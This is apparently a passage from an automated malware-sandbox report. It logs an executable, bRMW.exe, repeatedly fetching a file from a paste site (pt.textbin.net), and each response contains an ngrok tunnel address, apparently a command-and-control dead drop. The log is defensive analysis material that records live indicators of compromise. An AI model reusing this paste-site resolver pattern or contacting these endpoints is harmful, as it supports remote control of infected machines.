2023-11-23 00:09:17 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 31 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:17 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49726	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:20 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:20 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 32 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:20 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49728	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:24 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:09:24 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 32 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:24 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49730	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:28 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:28 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:28 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:31 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:32 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:32 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49734	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:35 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:35 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:35 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:39 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:39 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 33 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:39 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49738	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:43 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:43 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:43 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49740	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:47 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:09:47 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:47 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49744	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:51 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:52 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 35 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:52 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49746	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:55 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:09:56 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 30 39 3a 35 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:09:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:09:56 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49748	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:09:59 UTC	124	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net
2023-11-23 00:10:00 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:00 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49750	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:03 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
2023-11-23 00:10:03 UTC	1269	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 30 30 3a 31 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 49 50 4e 67 52 6f 6b 2e 68 74 6d 6c 22 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Thu, 23 Nov 2023 00:10:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/8.2.12Content-Disposition: attachment; filename="IPNgRok.html"pragma: no-cach
2023-11-23 00:10:03 UTC	34	IN	Data Raw: 31 37 0d 0a 30 2e 74 63 70 2e 73 61 2e 6e 67 72 6f 6b 2e 69 6f 3a 31 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 170.tcp.sa.ngrok.io:111370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49752	148.72.177.212	443	2748	C:\Users\user\Desktop\bRMW.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-23 00:10:07 UTC	148	OUT	GET /download/rcd5ihynxw HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: pt.textbin.net Connection: Keep-Alive
